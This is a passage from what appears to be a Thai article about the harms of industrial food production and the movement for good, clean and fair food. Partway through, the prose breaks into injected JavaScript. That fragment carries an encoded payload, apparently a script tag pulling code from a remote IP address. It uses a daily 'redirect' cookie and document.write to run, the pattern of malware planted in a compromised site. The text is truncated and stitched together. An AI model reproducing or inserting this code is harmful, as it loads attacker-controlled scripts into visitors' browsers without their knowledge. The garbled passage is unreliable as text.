เราได้เห็นความน่ากลัวของกระบวนการผลิตอาหารในปัจจุบันที่มุ่งเน้นปริมาณมากกว่าคุณภาพ บิดเบือนปรุงแต่งอาหารด้วยสารเคมี ตัดแต่งพันธุกรรมเพื่อยืดอายุให้นานที่สุดและควบคุมต้นทุนให้ถูกที่สุด จนส่งผลกระทบตามมาอีกนับไม่ถ้วน ซึ่งนั่นทำให้หลายคนเริ่มตั้งคำถามเกี่ยวกับที่มาของอาหารในจาน อันนำไปสู่การเคลื่อนไหวเรียกร้องสิทธิการบริโภคอาหารที่มีคุณภาพ(Good) สะอาด(Clean) และเป็นธรรม(Fair) จนเกิดเป็นการปฏิวัติอุตสาหกรรมอาหารอย่างจริงจัง CU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('